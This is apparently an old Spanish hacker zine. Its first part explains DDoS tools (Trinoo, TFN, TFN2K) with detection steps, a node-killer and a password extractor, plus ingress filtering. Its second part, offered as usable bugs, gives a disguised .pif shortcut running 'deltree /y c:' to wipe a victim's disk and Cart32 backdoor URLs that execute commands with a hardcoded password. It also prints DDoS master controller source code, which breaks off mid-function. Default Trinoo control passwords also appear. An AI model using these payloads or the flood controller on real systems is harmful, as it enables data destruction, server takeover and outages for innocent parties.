2.- Funcionamiento del ataque.
3.- Herramientas de ataque.
3.1 - Stacheldraht.
3.2.- Trinoo.
3.3.- Tribe Flood Network.
3.4.- TFN2K.
4.- Tipos de Denegacion de Servicio
5.- Soluciones
5.1.- Network Ingress\Egress Filtering.
6.- Conclusion
7.- Referencias
1.- Introduccion
----------------
Antes que nada, debo decir que la informacion aqui expuesta no debe
ser utilizada para joder y chingar, mas bien esta informacion se provee con
el fin de aclarar y exponer como es que trabajan estos ataques, mas no con
el fin de utilizarlos como terrorismo electronico.
Distributed Denial of Service (Denegacion de Servicio Distribuido) o DDOS
( DDOS sera usado de aqui en adelante en este documento) es como su nombre
lo dice, un ataque de DoS distribuido , esto es varias computadoras
conectadas a un red que envian un flood de paquetes para hacer caer una
maquina, este ataque es lanzado desde una sola maquina , misma que cordina
los ataques de las demas maquinas (tenemos en cuenta que una maquina mueve
a las demas y de ahi se lanza el ataque completo) Para una mayor compresion
de esto, ver el diagrama de abajo:
.---.
....| 2 |..........
.' `---' .---. '....
. ...........| 2 |..........'..
.---. .---. `---' '...... .--------------.
| 1 |.......| 2 | .........................`. | HOST VICTIMA |
`---' `---' .---. ......' `--------------'
'.............| 2 |.............'
. .---. `---' ......'
'....| 2 |..........'
`---'
Pues el unico proposito de este ataque es hacer caer una o varias maquinas
que normalmente no se ven afectadas por un ataque sencillo de una sola
maquina , por poner un ejemplo , un sistema con una ancho de banda de T3 no
se ve muy (mas bien casi nada) afectada por un ataque DoS desde un modem de
28.800 bps ( en caso de que se trate de un ataque DoS de flood de paquetes
y no un buffer overflow en algun demonio que vaya consumiendo memoria y
haga que el server se caiga).
2.- Funcionamiento del ataque
-----------------------------
Antes de lanzar el ataque , el atacante debera haber penetrado en
varios hosts, instalar el software ( en este caso un software cliente ) que
le permitira hacer el ataque DDOS de forma que desde el otra maquina que
hara de servidor, envie una serie de comandos a las maquinas cliente, para
iniciar el ataque.
La mejor defensa es asegurar tu maquina, tener seguridad y estar siempre
revisando si eres vulnerable a algun ataque que pueda comprometer tu
maquina y por lo tanto ser suceptible a que te instalen un programa de DDOS
cliente.
3.- Herramientas de ataque
--------------------------
Voy a explicar mas o menos las herramientas en forma teorica , sin
explicar como se usan ( lo cual no es el proposito de este documento ),
ademas si quieres obtenerlas, buscalas en Internet =P.
Actualmente las herramientas para hacer DDOS no envian un simple flood,
sino que ademas spoofean la direccion de donde provienen los paquetes.
Las Herramientas de ataque mas utilizadas son : Trinoo, TFN, Stacheldraht y
TFN2K.
3.1.- TRINOO
------------
Una red de trinoo es creada por el programa servidor, llamado
maestro (master.c) y por los demonios del trinoo (ns.c) y utilizan estos
puertos por default ( estos puertos pueden ser cambiados facilmente en las
fuentes ):
1524 tcp
27665 tcp <-- Atacante al maestro
27444 udp <-- Maestro a los demonios
31335 udp <-- Demonio al maestro
Las redes que forman la red de trinoo estan protegidas por una contrase~a
( ambos, cliente y servidor ) para protegerse del propio administrador o de
otros atacantes. Las contrase~as por default son:
"l44adsl" daemon password
"gOrave" trinoo master server
"betaalmostdone" trinoo master remote interface password
"killme" trinoo master password
Podemos utilizar el comando 'strings' para obtener el password cifrado
(utiliza la funcion crypt() de manera que lo podemos crackear como si de un
archivo de /etc/passwd se tratase), por ejemplo en el demonio del trinoo:
# strings - ns
. . .
socket
bind
recvfrom
%s %s %s
aIf3YWfOhw.V. <-------- password "l44adsl" cifrado usando crypt()
PONG
*HELLO*
. . .
Vamos, este documento no tiene porque ser oscuro, asi que aqui va algo para
los adminstradores, si crees que tu maquina esta corriendo el demonio,
puedes hacer un netstat -a --inet como viene:
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
. . .
udp 0 0 *:1024 *:*
udp 0 0 *:27444 *:*
. . .
# lsof | egrep ":27444"
ns 1316 root 3u inet 2502 UDP *:27444
Vemos un "ns" (recuerda que el demonio del trinoo es ns.c), seguimos:
# lsof -p 1316
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ns 1316 root cwd DIR 3,1 1024 153694 /tmp/...
ns 1316 root rtd DIR 3,1 1024 2 /
ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns
ns 1316 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
ns 1316 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
ns 1316 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
ns 1316 root 0u CHR 4,1 2967 /dev/tty1
ns 1316 root 1u CHR 4,1 2967 /dev/tty1
ns 1316 root 2u CHR 4,1 2967 /dev/tty1
ns 1316 root 3u inet 2502 UDP *:27444
ns 1316 root 4u inet 2503 UDP *:1024
Por supuesto que esto no es aplicable siempre, pues no se trata de un
metodo seguro en caso de que se le haya cambiado el nombre del binario y se
ejecute con un nombre menos sospechoso o que se haya instalado algun
rootkit que esconda los archivos y procesos.
WINTRINO
En maquinas windows, la version de trinoo suele llamarse service.exe ( no
confundir con el services.exe de Windows NT) y generalmente se encuentra en
\windows\system y se instala en el registo en: HKEY_LOCAL_MACHINE/SOFTWARE/
Microsoft/Windows/CurrentVersion/Run .
Cuando se ejecuta el archivo se instala en \windows\system y generalmente
mide 23,145 bytes, este programa espera en el puerto 34555 una conexion UDP.
Aparentemente bloqueando este puerto y el 35555 logramos impedir el ataque.
------------------------------- trinokiller.c --------------------------
/*
* AFRO-PRODUCTIONS.COM
*
* By your buddies at afro productions!
*
* This program kills trino nodes on version 1.07b2+f3 and below.
*
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#define KILL "d1e l44adsl d1e\n"
int main(int argc, char **argv)
{
int sock;
struct sockaddr_in s;
struct hostent *h;
char *host;
if (argc == 1)
{
fprintf(stdout,"Usage: %s <ip>\n",argv[0]);
return 0;
}
host = argv[1];
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(host);
s.sin_port = htons(27444);
if (s.sin_addr.s_addr == -1)
{
h = gethostbyname(host);
if (!h)
{
fprintf(stdout,"%s is an invalid target.\n",host);
return 0;
}
memcpy(&s.sin_addr.s_addr,h->h_addr,h->h_length);
}
sendto(sock,KILL,strlen(KILL),0,(struct sockaddr *)&s,sizeof(s));
fprintf(stdout,"Packet sent to target %s.\n",host);
return 1;
}
------------------------------- trinokiller.c --------------------------
3.2.- Tribe Flood Network (TFN)
-------------------------------
Esta herramienta publica fue creada por el programador aleman Mixter, y una
red de TFN esta basada en el cliente ( tribe.c ) y el demonio (td.c); esta
herramienta es similar al trinoo en cuanto a uso; actualmente existe otra
version mas actual de este programa, llamado TF2K creada por el mismo autor.
3.3.- Tribe Flood Network 2000 (TFN2K)
--------------------------------------
Esta heramienta es considerada sofisticada para ser una herramienta
publica, de acuerdo con el autor, es publica para que exista consiencia de
seguridad informatica en el mundo.
Utiliza TCP, UDP o ICMP para enviar los paquetes y ademas usa los
siguientes ataques : SYN flooding, UDP flooding, ICMP echo reply attack,
SMURF, MIX, Targa3, ademas de que permite abrir un root shell en un puerto
o ejecutar comandos remotos.
He aqui un programa para extraer los passwords de los binarios de tfn2k, ya
sea del binario 'td' o 'tfn'.
-------------------------------- tfn2kpass.c ----------------------------
/*
* tfn2kpass - tfn2k Password Recovery. Extract password for tfn2k from a
* td or tfn binary.
*
* Written by Simple Nomad [thegnome@razor.bindview.com] 21Feb2000
*
* More fun stuff at http://razor.bindview.com/, licensing at end
* of file.
*
* Should compile and run fine on any Intel/Sun-based system:
* gcc -o tfn2kpass tfn2kpass.c
*
* Example usage:
* ./tfn2kpass tfn-binary-file
*
* Tested against binaries compiled on Intel Linux, Intel FreeBSD, and
* Solaris. Thanks for the help, Jordan <jritter@razor.bindview.com>
* and Paul <pashton@razor.bindview.com> from the RAZOR team.
*
*/
/* includes */
#include <stdio.h>
#include <stdlib.h>
/*
* Main program....
*/
int main(int argc, char *argv[])
{
FILE *ftd;
int i, search = 0, search2, found = 0, rew = 32;
unsigned char recover[32];
unsigned char password[32];
unsigned char offset;
char close[]="@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@";
char check[sizeof(close)];
/* Say hello... */
printf("tfn2kpass - Recover the password from tfn2k's 'td' or 'tfn'\n");
printf("Comments/bugs: Simple Nomad <thegnome@razor.bindview.com>\n");
printf("http://razor.bindview.com/\n\n");
if (argc!=2)
{
fprintf(stderr,"USAGE: tfn2kpass <td_filename>\n\n");
fprintf(stderr,"EXAMPLES:\n");
fprintf(stderr," tfn2kpass renamed_td\n");
exit(-1);
}
ftd=fopen(argv[1],"rb");
if (ftd == NULL)
{
fprintf(stderr,"Unable to open file %s.\n",argv[1]);
exit(-1);
}
/* first we search the file for the first marker that we
are close to the password -- the 40 @'s should be right
after the password */
while(!feof(ftd))
{
fseek(ftd,search,SEEK_SET);
fread(&check,40,1,ftd);
if (!strncmp(check,close,40))
{
found = 1;
break;
}
search++;
}
if (found)
{
found = 0; /* reset our flag for next 'find' */
search--;
search2 = search;
/* Now we'll search backward looking for the first non-zero
value, which is the offset used to mask the password.
The amount of zeroes depends upon platform as well as the
daemon type (td or tfn), so we move back one at a time.
Also it allows us to examine daemons compiled on a freebsd
box from our linux box, for example. */
while(search2!=0)
{
fseek(ftd,search2,SEEK_SET);
fread(&offset,1,1,ftd);
/* Sol bins have the needed "offset" right before the string
of @'s as well as at the end of the password field, so we
need to skip that byte. Also, if we do not shorten the
amount of bytes for a Sol bin by one, we end up with one
extra char at the beginning of the password. Go figure. */
if((offset) && (search2 == search))
{
rew--;
}
else if(offset)
{
found = 1;
break;
}
search2--;
}
if (found) /* if we found the offset, grab and print the password */
{
fseek(ftd,search2-rew,SEEK_SET);
fread(&recover,32,1,ftd);
fclose(ftd);
for (i=0;i<32;i++) password[i]=recover[i] - offset;
printf("The password is - ");
for (i=0;i<32;i++)
{
if (isprint(password[i]))
printf("%c",password[i]);
}
printf("\n\n");
}
}
if(!found) printf("The password was not found\n\n");
exit(0);
}
/*
* BindView License -
Copyright (c) 2000 BindView Corporation. All rights reserved.
By using this software, YOU AGREE to the following license terms. IF YOU
DO NOT AGREE, YOU MAY NOT USE THE SOFTWARE.
1. BindView believes that this software is safe for use in normal
circumstances, and has performed what it believes to be reasonable but
non-exhaustive testing to verify this. The software is intended for use
only by experienced and knowledgeable computer professionals; IT IS
PROVIDED "AS IS, WITH ALL FAULTS," including source code so that the user
can study the source code and independently determine the software's
suitability. BindView makes no warranty of any kind, express or implied,
and DISCLAIMS ANY AND ALL WARRANTIES, CONDITIONS, OR IMPLIED TERM OF
QUALITY, INCLUDING THE IMPLIED WARRANTIES OF TITLE, NON-INFRINGEMENT,
MERCHANTABILITY, AND FITNESS FOR A PARTICULAR PURPOSE. All use of the
software is entirely at the user's own risk.
2. IN NO EVENT WILL BINDVIEW BE LIABLE FOR DAMAGES OF ANY KIND arising
from or relating to use of the software, whether such damages are direct,
indirect, incidental, consequential, exemplary, or any other kind, and
whether arising under contract, tort (including negligence), strict
liability, or otherwise.
3. BindView will not object to your distribution of complete, unmodified
copies of the distribution package of the software as provided by
BindView, PROVIDED that you do not charge a fee other than a reasonable
fee for distribution services. You may charge a fee for any warranty or
support services that you offer to purchasers of copies of the software.
4. You may modify the software and distribute copies of the modified
software, PROVIDED:
(a) that you distribute, together with the executable code of the
modified software:
(1) the source code of the modified software, which must
contain the BindView copyright notice set forth above (in
addition to your own copyright notice if any); and
(2) a copy of the complete, unmodified distribution
package of the software as provided by BindView; and
(b) that you clearly indicate in the source code and in an
accompanying documentation file that the software is based on
BindView's software and was modified by you; and
(c) that you grant users of the modified software the same rights
as are granted to you by this license.
*
*/
-------------------------------- tfn2kpass.c ----------------------------
4.- Tipos de Denegacion de Servicio (DOS)
-----------------------------------------
SMURF
Este ataque envia paquetes ICMP ( ping ) spoofeados con direcciones de una
maquina de la misma red o con la direccion fuente de la misma victima, por
lo tanto, se contesta el ping hacia si misma y comienza un flood
( inundacion ) de paquetes y la maquina termina callendose al consumirse el
ancho de banda.
ICMP echo reply attack
Similar al smurf, pero sin enviar datos spoofeados y por lo tanto,
tendriamos que tener una conexion mayor o igual para lograr hacer algo
contra un sitio con un gran ancho de banda. ( Esto se ve minimizado con el
DDOS ).
MIX
Es un ataque combinado, envia paquetes UDP, SYN e ICMP.
5.- Soluciones
--------------
La mayoria de paquetes usados en la actualidad en ataques DDOS
utilizan el spoofing, el primer router en recibir el paquete puede darse
cuenta facilmente del enga~o, pues el router tiene que saber de donde
provienen y hacia donde van los paquetes, de tal manera que pueda rutear
correctamente los paquetes.
Si el paquete que llega al router, y si la direccion fuente no coincide con
la direccion de la red de la cual proviene, el router deberia descartar el
paquete. Esta forma de verificar los paquetes es llamada Ingress o Egress
Filtering ( Filtro de acceso o salida ) dependiendo del punto de vista,
Egress desde el punto de vista de la red del cliente o Ingress desde el
corazon de Internet.
5.1.- Network Ingress\Egress Filtering
--------------------------------------
Network Ingress Filtering es una de las soluciones propuestas por The
Internet Society para detener los ataques de denegacion de servicio que
utilice como fuente una direccion IP spoofeada. La solucion:
El primer router debe verificar si la direccion IP fuente proviene del
mismo lado de la red en donde esta, es decir, que se trate de una direccion
valida, de esta manera el router se daria cuenta de que los paquetes que
pasan por el estan spoofeados o no. Ejemplo:
12.0.0.0/8
router
|
|
9.0.0.0/8 |
Atacante --> router ---> ISP ---> ISP ---> ISP ---> ISP
[1] [A] |
|
|
router
11.0.0.0/8
En este caso el ISP [A] le provee el acceso a Internet a el atacante,
cualquier paquete que envie el atacante es recibido por el router [1],
usando Network Ingress Filtering en el router [1] cualquier paquete que no
provenga del rango 9.0.0.0/8 es descartado por el router, por lo que no
llega a su destino, y esto impide al atacante realizar el ataque sin
delatar su verdadera direccion IP. En otras palabras:
IF el paquete proviene del rango 9.0.0.0/8
THEN el router deja pasar el paquete
IF el paquete proviene de cualquier otro lugar
THEN el router descarta el paquete
Otro ejemplo mas practico seria:
Supongamos que nosotros tenemos nuestro espacio con la direccion legal de:
200.200.200.0. En un router Cisco (otros routers ver en el sitio del
fabricante) , creamos una lista de acceso desde en el modo de configuracion
global:
Router(config)# access-list 112 permit ip 200.200.200.0 0.0.0.255 any
Despues de que los filtros fueron creados, aplicariamos la interface hacia
dentro de nuestra red interna:
Router*config/if(#ip access/group 112 in
Si asumimos que la interface es Ethernet 0 (eth0) podriamos pegar este
script del global configuration mode:
access-list 112 permit ip 200.200.200.0 0.0.0.255 any
int eth0
ip access-group 112 in
exit
exit
show running
Con esto hemos logrado que nuestro filtro que acabamos de crear solo deje
pasar los paquetes que provienen del rango 200.200.200.0 y si provenieran
de otra direccion IP, los descarte.
6.- Conclusion
--------------
El mayor problema de esta ataque es consecuencia del la mala
seguridad que presentan muchas de las maquinas presentes en Internet, y que
muchos administradores, si bien no se preocupan por ella, no se esfuerzan
como deberia (claro que siempre hay excepciones ;). Ademas la dificultad de
rastrear al atacante al realizar DDOS. Pero es un riesgo que debemos correr.
7.- Referencias
---------------
[1] - Have Script, Will Destroy (Lessons in DoS) by Brian Martin.
[2] - Cisco, Strategies to Protect Against DDOS Attacks by Cisco Systems.
http://www.cisco.com/warp/public/707/newsflash.html
[3] - Distributed Denial of Service Attacks by Bennett Todd <bet@oven.com>
[4] - DDOS Attack Mitigation by Elias Levy <aleph1@SECURITYFOCUS.COM>
[5] - RFC 2267 - Network Ingress Filtering
[6] - Distributed Denial Of Service attacks. A proposal based on routing
by Fernando P. Schapachnik <fernando@via-net-works.net.ar>
[7] - Global Incident Analisys Center: Egress Filtering v0.2 by SANS
Institute.
Yo_Soy - http://www.bigfoot.com/~varf
<yo_soy@raza-mexicana.org> <varf@bigfoot.com>
+------+-------------------------------------------+----------+--------------+
| +-->| Cinco bugs de Poca Madre |<---------| RareTrip |
+->|<--> r17_05 <-+-----------+-----+--------->+--------------+----------->|-+
+--------------------------------------------------------------------------
RareTrip Text Productions (c)
tiene el deleite de presentar el texto titulado
/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\
\\ //
| 5 Bugs de Poca Madre |
// ~~~~~~~~~~~~~~~~~~~~ \\
\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/
Con la participacion estelar de todos los Admin's de seguridad.
INTRODUCTORIA
(sin albur)
Este texto contiene los bugs mas recientes que han salido en internet y
por lo mismo muchos de ellos son explotables en la mayoria de los sistemas
vulnerables. Recomiendo extrema precaucion al usar estos bugs y/o exploits
pues de algunos ya estan de sobre-aviso los administradores y esperan a los
incautos que los prueben en sus sistemas. Muchos de ellos los he probado
con excelentes resultados, algunos ya se los sabran, otros les serviran.
Primero que nada y como adicion de ultima hora les dire un peque~o truco
que causara mucho da~o y no lo explico para que lo hagan, lo hago para
que se protejan. ok./
NeverShowExt (mas errores de microsoft)
El sistema de Windows a peticion de un programa puede ocultar las
extensiones de los archivos asociados a el. Para ejemplificar, los links
a programas o documentos se identifican por tener la extension .lnk o .pif
si son de MS-DOS pero esto no es visible dentro de Windows. Si creamos
un archivo con estas extensiones windows automaticamente nos oculta la
extension .pif y se crea un link. Este truco basandose en esta premisa
aprovecha este error u opcion de windows para crear un archivo de
apariencia inocente pero de efectos altamente mortales. Digamos que
creamos un nuevo "shortcut" en el escritorio y en command line ponemos:
deltree /y c: ahora en el nombre del mismo algo como inocente.txt y
enviamos como attachment en un mensaje de email el archivo inocente.txt.pif
Cuando llegue al destino, el attachment se vera como inocente.txt y
sinceramente ¨quien de ustedes desconfiaria de un simple texto? El 99.9%
seguramente abririan el "texto" y con eso perderian toda la informacion del
disco duro.
¨como protegernos?
Con Condon. Y haciendo las siguientes modificaciones en el registro de
windows con el programa regedit incluido en c:\windows
Busca la siguiente frase "NeverShowExt" y cambiala por AlwaysShowExt para
que siempre veas las extensiones de todos los archivos, re-inicia tu
sistema y listo!
El unico problema que encontre es que cuando se quiere mandar como
attachment un archivo .lnk o .pif se pone el nombre del archivo que esta
llamado dentro del link no el link mismo. Esto se puede evitar usando un
servicio de email en linea como hotmail, si alguien sabe como poder usar
un programa de mail en windows y mandar los links (archivos .lnk) por
favor diganme. Ahora si, de regreso al texto original.
# Bug Numero Uno:
Descripcion: Puerta secreta en el programa Cart32
Sistema Afectado: Cualquier servidor Web basado en Windows que use el
programa Cart32 version 3.0 y tambien la 2.6 es afectada.
Problema: Atacantes pueden ejecutar comandos en el servidor y/o
ganar acceso a la informacion de las tarjetas de credito.
Autores: David Litchfield (mnemonix@globalnet.co.uk)
Mark Litchfield (xor-syst@devilnet.co.uk)
El programa creado por la compa~ia McMurtrey/Whitaker & Associates, llamado
Cart32 (http://www.cart32.com) tiene una caracteristica incluida que apunta
a ser una puerta trasera para el robo de la informacion de los clientes
del sitio con ese programa. Si, asi es, para aquellos que apenas vayan
entendiendo, Cart32 es un programa para realizar las compras por i-net de
forma "practica" y "segura" ayudados por el tipico carrito de compras.
Dentro del archivo cart32.exe hay un password secreto "wemilo" conocido
internamente como Cart32Password. Con el conocimiento de este password un
atacante puede obtener la lista de passwords del cliente (una tienda) con
una simple URL como seria:
http://charon/scripts/cart32.exe/cart32clientlist
A pesar de que los passwords aparecen en forma encriptada pueden ser usados
en una URL especialmente dise~ada para ejecutar comandos cuando una orden
sea confirmada.
Ejemplos:
http://charon/scripts/c32web.exe?TabName=Cart32%2B&Action=Save+Cart32%2B+Tab&SaveTab=Cart32%2B&Client=foobar&ClientPassword=e%21U%23_%25%28%5D%5D%26%25*%2B-a&Admin=&AdminPassword=&TabToSave=Cart32%2B&PlusTabToSave=Run+External+Program&UseCMDLine=Yes&CMDLine=cmd.exe+%2Fc+dir+%3E+c%3A%5Cfile.txt
(datos de esta url necesitan ser cambiados para hacer funcionar la URL de
manera efectiva, si no sabes como mejor para todos. No preguntes. Pero un
tip: por ahi va el password "wemilo")
Esta URL hara que el servidor me de una lista de los archivos en un
directorio y lo guarde en un archivo en el directorio root de C: cuando
una orden sea confirmada. Despues de hacer esto, el atacante puede crear
una orden falsa y confirmarla, de esta forma, ejecutando el comando.
Otra forma de atacar los sitios con este programa es ejecutar la siguiente
URL (recuerda modificarla con los datos del server objetivo) y de esta
manera cambiar el password del administrador.
http://charon/scripts/c32web.exe/ChangeAdminPassword
Otro comando interesante seria:
http://objetivo.com/cgi-bin/cart32.exe/expdate
Esto causa un error y pone un mensaje tipo "debugging" con variables del
servidor, los contenidos del directorio administrativo y, en ocasiones, el
contenido del cgi-bin.
# Bug Numero Dos:
¨Han escuchado de los ataques de negacion de servicio? Pues bien, he aqui
un bello programa creado para realizar este tipo de ataques. Es uno de los
mas efectivos hasta ahora escritos y recuerden usarlos con precaucion. El
programa creara una carga demasiado pesada para el sistema objetivo y lo
pondra fuera de servicio.
Makefile:
------------------------
CC = gcc
CFLAGS = -g -Wall
all: master server
clean:
rm -f master server
master: master.c
$(CC) $(CFLAGS) -o master master.c
server: server.c
$(CC) $(CFLAGS) -o server server.c
------------------------
------------------------
master.c
------------------------
/* spwn */
#define PASSWORD "sex"
#define SERVERFILE ".sr"
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)
#define MAX_IP_LENGTH 17
#define MAX_HOST_LENGTH 200
#include <unistd.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/uio.h>
#include <signal.h>
/* prototypes for my functions */
void sighandle (int);
int maxfd (int, int);
void prompt (int);
void tof (char *);
void fof (char *);
void send2server (u_long, char *, ...);
void forkbg (void);
void nlstr (char *);
void sendtoall (char *, ...);
char *inet_ntoa (struct in_addr);
u_long inet_addr (const char *);
int findfree (void);
/* end of prototypes */
typedef struct _socks {
int fd;
int opts;
int idle;
char *ip;
} socks;
socks users[MAXUSERS];
int main (int argc, char *argv[])
{
fd_set readset;
int i, tcpfd, udpfd, socksize, pongs = 0;
struct sockaddr_in udpsock, tcpsock, remotesock;
struct timeval t;
char ibuf[1024], obuf[1024], *arg[3];
signal(SIGINT, sighandle);
signal(SIGHUP, sighandle);
signal(SIGSEGV, sighandle);
socksize = sizeof(struct sockaddr);
if ((tcpfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket");
exit(0);
}
if ((udpfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket");
exit(0);
}
tcpsock.sin_family = AF_INET;
tcpsock.sin_port = htons(MASTER_TCP_PORT);
tcpsock.sin_addr.s_addr = INADDR_ANY;
memset(&tcpsock.sin_zero, 0, 8);
if (bind(tcpfd, (struct sockaddr *)&tcpsock, sizeof(struct sockaddr)) == -1) {
perror("bind");
exit(0);
}
if (listen(tcpfd, MAXUSERS+1) == -1) {
perror("listen");
exit(0);
}
i = 1;
if (setsockopt(tcpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
perror("setsockopt");
exit(0);
}
i = 1;
if (setsockopt(tcpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
perror("setsockopt");
exit(0);
}
if (fcntl(tcpfd, F_SETFL, O_NONBLOCK) == -1) {
perror("fcntl");
exit(0);
}
udpsock.sin_family = AF_INET;
udpsock.sin_port = htons(MASTER_UDP_PORT);
udpsock.sin_addr.s_addr = INADDR_ANY;
memset(&udpsock.sin_zero, 0, 8);
if (bind(udpfd, (struct sockaddr *)&udpsock, sizeof(struct sockaddr)) == -1) {
perror("bind");
exit(0);
}
i = 1;
if (setsockopt(udpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
perror("setsockopt");
exit(0);
}
i = 1;
if (setsockopt(udpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
perror("setsockopt");
exit(0);
}
for (i = 0 ; i <= MAXUSERS ; i++) {
users[i].opts = (0 & ~USED);
}
forkbg();
t.tv_sec = 2;
t.tv_usec = 1;
for (;;) {
for (i = 0 ; i <= MAXUSERS ; i++)
if (users[i].opts & USED)
if ((time(0) - users[i].idle) > 420) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nYou're too idle !\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
close(users[i].fd);
users[i].opts &= ~USED;
}
FD_ZERO(&readset);
FD_SET(tcpfd, &readset);
FD_SET(udpfd, &readset);
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) FD_SET(users[i].fd, &readset);
}
if (select(maxfd(tcpfd, udpfd)+1, &readset, NULL, NULL, &t) == -1) continue;
if (FD_ISSET(tcpfd, &readset)) {
int socknum;
u_long ip;
struct hostent *hp;
if ((socknum = findfree()) == -1) {
socknum = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
close(socknum);
continue;
}
users[socknum].fd = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nConnection from %s\n", inet_ntoa(remotesock.sin_addr));
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
}
users[socknum].opts = (USED & ~AUTH);
ip = remotesock.sin_addr.s_addr;
if ((hp = gethostbyaddr((char *)&ip, sizeof ip, AF_INET)) == NULL) {
users[socknum].ip = (char *) malloc(MAX_IP_LENGTH);
strncpy(users[socknum].ip, inet_ntoa(remotesock.sin_addr), MAX_IP_LENGTH-1);
} else {
users[socknum].ip = (char *) malloc(MAX_HOST_LENGTH);
strncpy(users[socknum].ip, hp->h_name, MAX_HOST_LENGTH-1);
}
users[socknum].idle = time(0);
}
if (FD_ISSET(udpfd, &readset)) {
memset(&ibuf, 0, sizeof ibuf);
if (recvfrom(udpfd, &ibuf, (sizeof ibuf)-1, 0, (struct sockaddr *)&remotesock, &socksize) <= 0) continue;
nlstr(ibuf);
if (!strcmp(ibuf, "newserver")) {
FILE *f;
char line[1024];
int i;
if ((f = fopen(SERVERFILE, "r")) == NULL) {
f = fopen(SERVERFILE, "w");
fclose(f);
continue;
}
while (fgets(line, (sizeof line)-1, f)) {
nlstr(line);
fof(line);
nlstr(line);
if (!strcmp(line, inet_ntoa(remotesock.sin_addr))) {
continue;
}
}
fclose(f);
if ((f = fopen(SERVERFILE, "a")) == NULL) continue;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf,(sizeof obuf)-1, "%s\n", inet_ntoa(remotesock.sin_addr));
tof(obuf);
fprintf(f, "%s\n", obuf);
for (i = 0 ; i <= MAXUSERS ; i++)
if (users[i].opts & USED) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nNew server on %s.\n", inet_ntoa(remotesock.sin_addr));
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
fclose(f);
}
if (!strcmp(ibuf, "pong")) {
pongs++;
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nGot pong number %d from %s\n", pongs, inet_ntoa(remotesock.sin_addr));
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
}
}
}
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) {
if (FD_ISSET(users[i].fd, &readset)) {
if (!(users[i].opts & AUTH)) {
int x;
memset(&ibuf, 0, sizeof ibuf);
if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
int y;
users[i].opts = (~AUTH & ~USED);
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "%s has disconnected (not auth'd): %s\n", users[i].ip, strerror(errno));
for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
close(users[i].fd);
free(users[i].ip);
continue;
}
users[i].idle = time(0);
for (x = 0 ; x <= strlen(ibuf) ; x++) {
if (ibuf[x] == '\n') ibuf[x] = '\0';
if (ibuf[x] == '\r') ibuf[x] = '\0';
}
if (strcmp(ibuf, PASSWORD)) {
int y;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "Invalid password from %s.\n", users[i].ip);
for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && (y != i)) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
free(users[i].ip);
close(users[i].fd);
users[i].opts = (~AUTH & ~USED);
continue;
}
for (x = 0 ; x <= MAXUSERS ; x++) {
if ((users[x].opts & USED) && (x != i)) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nPassword accepted for connection from %s.\n", users[i].ip);
send(users[x].fd, &obuf, strlen(obuf), 0);
prompt(users[x].fd);
}
}
users[i].opts |= AUTH;
prompt(users[i].fd);
continue;
}
memset(&ibuf, 0, sizeof ibuf);
if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
int y;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "Lost connection to %s: %s\n", users[i].ip, strerror(errno));
for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
free(users[i].ip);
close(users[i].fd);
users[i].opts = (~AUTH & ~USED);
continue;
}
